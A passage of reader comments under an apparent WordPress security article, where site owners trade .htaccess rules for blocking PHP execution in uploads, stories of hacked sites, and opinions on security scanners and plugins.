      Oh and on your whitelist point, I agree completely. Whitelisting seems to be the new things this day, and it makes sense. It’s a lot easier to manage a white list than it is a blacklist, especially with how fast things change.

      I’m going to play with your version if you don’t mind, see how it works. Good points on the double extensions as well.

      Thanks for sharing.

      • 44

        Yes, please experiment with the code I provided. I’ve improved on it in the last year or so. It works for me. I believe all plugins and themes should do something similar for their directories. In fact, I put a similar .htaccess in all plugin and theme directories. It takes some debugging with Firebug, but it’s not too difficult, just time consuming.

        Please note that it’s better to use “FilesMatch” over “Files” due to it’s better usage of PCRE.

        With that, and using PCRE, you’ll notice that I use non-capturing groups “?:” and case-insensitivity “?i” combined to “?i:” to speed things up. This is really advanced usage of these .htaccess directives and PCRE. You won’t find it being used like this in too many places. So not only is it secure, it’s as fast as it can be.

        You can also allow for say, one double extension, since some people have .gz images, etc. there.

        Also this is probably incorrect: (code keeps getting stripped, no tags will work for me)

        You’re escaping a slash that needs to escape the period to make it a literal period. So when you do that the string becomes “a literal slash”, “followed by any single character”, “followed by php”, “then end of string”. So the php file would have to begin with a slash “” to match. I don’t believe I’ve ever seen a PHP file start with a slash. So it would only match something like “aphp” which is probably not what you want.

      • 45

        I just did some updating to my files and I noticed that the directives I mentioned earlier do not need “Deny from all” since that’s assumed. In other words, if you use the Order Directive “Order Allow, Deny” if it’s not stated to be allowed than by default it’s denied.

        I had that updated for other directories, just not the version that I posted here.
        Here is an updated version.

        Which should be even faster.

        • 46

          I’m going to assume this snippet is the approved way to disable php execution in the /uploads/ dir. Thanks.

  19. 47

    Hi there,
    I followed your .htaccess advice and pasted it inside the uploads folder and guess what: no images were loading anymore after this “trick”- why is that?


    • 48

      Hi Alex,

      Interesting, it must be trying to call something there. Is this a custom theme?

      Also, have you tried the advice above in the comments:

      <Files “\.php$”>
      Order Deny,Allow
      Deny from All
      Allow from env=REDIRECT_STATUS

      Curious if that will do anything for you. I know that it does kill images from time to time, depending on how a themes or plugin is developed so I’m playing with some of the recommendations being made to see how to avoid. Curious if this will help.

      You might also want to try the whitelisting approach by Mickey:

      Haven’t fully tested it, but it’s sound logic.


  20. 49

    Sergiu (Scorpiono)

    October 14, 2012 5:19 pm

    This article comes in quite handy.

    My story, a couple of months ago I purchased a website, there was an issue that Google’s webmaster tools flagged (malware). It was running wordpress but it was updated.
    I couldn’t see any iframe although Google and Sucuri warned me about this.

    After 3 attempts where it was marked as clean and then came back as malware, I just decided to disable every single plugin, keep Akismet and another major plugin from a reputable publisher and that was it.

    I’m pretty sure the vulnerability is still there but at least it’s locked for now..

    +1 for the article.

    • 50

      Hey Sergiu

      Be sure to remove those plugins, don’t let them sit there deactivated. They are just as accessible and dangerous if disabled and left to litter your website.

      • 51

        Sergiu (Scorpiono)

        October 20, 2012 11:44 am

        The issue just re-appeared so I’m thinking about deleting! Thanks!

      • 52

        Thanks for the advice on deactive idle plugins! Did not know that. Would the same be true for idle themes? Even twenty 10? Probably have some default themes lingering in my early WP sites.

  21. 53

    Love this post. Being a blogger, I can understand the importance of security. My site was recently hacked despite my best efforts.
    I would implement the methods suggested, Thanks :)

  22. 54

    Definitely a number of things to look out for. Thanks!

  23. 55

    The importance of security when creating or designing a website is huge. WordPress is increasing its importance as an open source blogging tool and content management system. Millions of websites use this tool and hence it is really necessary to take adequate measures for the security of this tool.

  24. 56

    I started using SiteCheck (sucuri) a few weeks ago, and to be honest, it only works half the time which is so unfortunate. First, the results can be different when you use the www. and when you don’t – we found that out the hard way, when a site came up as infected when we used the www. and came up clean when we just used http:// without the www. Second, I scanned a site yesterday that I was pretty sure should have turned up a hack, using both the www. and without.. And the site came up clean, so I downloaded a few files that I know to check, and sure enough, the eval() was there. SiteCheck didn’t pick it up and it was a very small file in the root directory.

    So just wanted to share that with everyone here, be wary of SiteCheck. It’s “ok” but definitely NOT a site you can rely on for results. Always do a secondary check yourself, by searching the files for eval and base64…

    BTW – this is without a doubt, one of the most useful and enlightening articles I’ve come across about securing sites – thank you SM!!!

  25. 57

    Under “Kill PHP Execution” you mentioned adding some lines to the .htaccess file, as follows:

    Deny from All

    However, when I did that, it blocked the entire website from me. What exactly are those lines of code meant to do, and why would you say to add those to the root directory htaccess file?

  26. 58

    Having recently had some issues on my websites with malware and phishing I was really interested to read this article and found it very helpful. It can be a very daunting situation to find that someone has accessed your website and not knowing why/how.

    It was alarming to realise that many free themes and plugins offered online can contain suspect code. Now aware of this I will be sticking to known reputable resources. I have also been guilty of ignoring the ‘update WordPress’ notification. Thanks for pointing out why I shouldn’t. I do get concerned however that updating WordPress could cause some plugins to fail. Is this a genuine concern or am I just paranoid (or using the wrong plugins)?

    A few posts have mentioned Wordfence. I use Wordfence on all my sites since having problems and have found it to be excellent. You can set log-in attempts to be blocked, plus it allows you to permanently block the IP address of the offender from your site. It also checks all your files and allows you to revert back to original files if something is changed. Alerting you via email is great as you don’t have to go in to the dashboard to check results, and it lets you know when WordPress, themes and plugins have updates available.

    A really useful article – thanks.

  27. 59

    It might not have reached you yet, but – as a matter of fact – regular users are coming in with dynamic IP addresses, thus the IP-based approach is only gonna work in countries where you got a fixed IP address .. in the rest of the world (anything outside the US, that is!) it wont work.

    I am indeed baffled that s/o still comes up with that .. *shakes head* (its 2012, folks, not 1996).
    Aside of that, a lot of this stuff is only applicable if you’re running your own server. A simple hosted site (= hosting account) doesnt offer SSH access.

    Nice article, but .. please! At least _TRY_ to stay realistically.

    cu, w0lf.

  28. 60

    Nice article, but secure your server is important too. When the attacker take over website A, they just scanning the wp-config.php and they can get the whole website on server website A and they just access to phpmyadmin with the information they get from wp-config.php…

  29. 61

    Not only is this aryicle awesome, but so are all the shared comments. Love how all u guys share ur pains and triumphs over those nasty tricksters out there. Im forwarding this to my web team and bookmarking it. Well done all!

  30. 62

    I just cleaned up a site that was infected by a jQuerye .js injection on my site. Below is the code that caused the injection.

  31. 63

    Great Article! it was my .htaccess file that was corrupted!!! thank you for the help! i was able to fix this on my own.

  32. 64

    Elijah Alcantara

    February 7, 2013 6:12 pm

    Information overload! I learned so much about securing my sites (and not just wordpress) here, thanks!

  33. 65

    This is a very lengthy and detailed post and I enjoyed it but I feel I have to drag out my soapbox, stand on it and shout, “When will techies stop looking at the Pharma Hack as a single site hack?” In order for it to work it requires multiple hidden link sites that are also hacked sites. If you track back to the hidden link sites you end up finding a huge web of hacked sites.

    Until someone develops a way for people with the Pharma Hack to cooperate by making it easy to find and report all the sites in this web the hackers are going to continue to win this particular battle. When are guys going to stop being so blind and when are you going to stop trying to be so damn independant and learn to cooperate in an effort to kill this thing?

  34. 66

    This article still remains relevant in 2014.

    The recent compromise of well known and respected WordPress plugins, like MailPoet Newsletters and All In One SEO Pack again reiterate the point that you can’t simply install WordPress and leave WordPress updates management as an afterthought.

    Not updating all plugins within WordPress at least monthly may result your online business reputation being compromised or worst…

  35. 67

    Usually is in index.php (core file) Just now, my web is injected in that file. Alltough I remove the script in .htaccess, the code is going back. And now I just remove the code in index.php. The code is just like that:

  36. 68

    Ah, I can not paste the PHP code here LOL

  37. 69

    Nice Article!…

  38. 70

    Oh, while trying to transfer a wordpress site to a new host, I downloaded all the files and extract them on my PC. Then when I was about to transfer these files to the new host via FTP, my anti-virus software alerted me that there is a file that need to be quarantined, filename is wtf.php! If I didn’t transfer my site, I won’t know this file exists and for how long it had stayed in my old server! OMG! I just deleted it and googled this topic, and found your site.

  39. 71

    To protect against brute force attacks, get the excellent BruteProtect plugin, and to see what’s been going on while you’re not around, use the Security Audit Log plugin.

    Security Audit Log

  40. 72

    I use Sucuri’s free plugin for WordPress, and it’s awesome:

    I also have their basic Firewall for $9/month that lets you block all these attacks and actually see them in real time. Never thought my puny little site was getting so much brute force attention. It also has an optional WP plugin for it too:

  41. 73

    I am so frustrated. My website was hacked and as far as I can understand, my backed up database has infected files and when I rebuild my website and upload my db, my site goes down in a day or so.

    Any recommendations about what to do? I do not want to repost all my posts and I am a little confused on what to do.


  42. 74

    so far so good

    January 3, 2015 12:06 pm

    I have 2 wordpress sites. many hackers keep trying to break in but so far they have not. they all keep looking for an admin account so make sure you removed that one.

  43. 75

    Our web site was hacked as well. They were able to inject code into the header in the database.

    Compromised infection is actually inside your database. It is in the wp_options table and it is in the id 217. At least that is where is was in our database.

    Then I used wordfence to scan and check to make sure it was clean. Also change all of your passwords, backup your db and upgrade often.

    I hope this helps someone looking for answers in the future.

  44. 76

    The Unmask Parasites scanner you recommend seems like a fraud to me. Whatever URL you enter, it comes up with the same list of spam links it supposedly has found. Even with absurd non-existing URL’s. The site makes you afraid and tries to lure you into buying a commercial scanner or service. Please remove from your blog!


↑ Back to top